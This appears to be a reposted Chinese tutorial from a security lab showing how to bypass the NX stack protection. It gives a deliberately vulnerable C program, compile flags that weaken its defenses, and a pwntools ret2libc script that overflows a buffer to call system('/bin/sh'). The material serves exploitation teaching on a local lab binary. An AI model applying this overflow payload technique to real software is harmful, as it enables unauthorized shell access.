NX机制用于防护溢出类型漏洞的利用,NX缓解机制开启后,使某些内存区域不可执行,并使可执行区域不可写,也可以说是使数据,堆栈和堆段不可执行,而代码段不可写。如此开启了NX的可执行文件就无法通过使用栈中jmp esp+shellcode覆盖溢出函数的返回地址的方式利用漏洞了。
1.实验源码如下:
文件名:NX.c
#include <stdio.h>
#include <string.h>
void vul(char *msg)
{
char buffer[64];
strcpy(buffer,msg);
return;
}
int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}
可以看到,其是将main函数里的buffer作为msg传入vul函数里,然后拷贝到vul中的buffer,但是main函数中buffer大小为256,而vul函数中buffer的大小为64,这就是问题所在。
2.编译
gcc编译:gcc -m32 -g -ggdb -fno-stack-protector -no-pie NX.c -o pwnme
-z execstack参数加上后会关闭NX
3.执行
正常运行!
4.绕过
既然堆栈无法执行,那就把程序跳转到可以执行的libc程序领空中去执行system函数,可以同样实现溢出漏洞的利用。
我们先找到system与/bin/sh在libc文件里的偏移地址,然后找到libc文件在程序里的加载地址libc_base,之后分别相加求取system与/bin/sh在程序里的加载位置system_addr与/bin/sh_addr 。
查看libc版本:
查看libc加载地址:
命令:LD_TRACE_LOADED_OBJECTS=1 ./pwnme
得到libc_base = 0xf7dce000
查找system与bin/sh在程序中的地址:
得到0x0003E9e0
得到0x0017EAAA
system_addr = libc_base + 0x0003E9e0
/bin/sh_addr = libc_base+ 0x0017EAAA
5.脚本
代码如下:
from pwn import *
p = process('./pwnme') #运行程序
p.recvuntil("shellcode:") #当接受到字符串'shellcode:'
libc_base = 0xf7dce000
system_addr = libc_base + 0x0003E9e0
bin_sh_addr = libc_base + 0x0017EAAA
buf = 'A'*76
buf += p32(system_addr)
buf += p32(0xdeadbeef) #覆盖system返回地址,随便写就行
buf += p32(bin_sh_addr)
with open('poc','wb') as f :
f.write(buf)
p.sendline(buf) #开始溢出
p.interactive()
运行效果:
溢出成功!!!
原文始发于微信公众号(CTS纵横安全实验室):NX机制绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论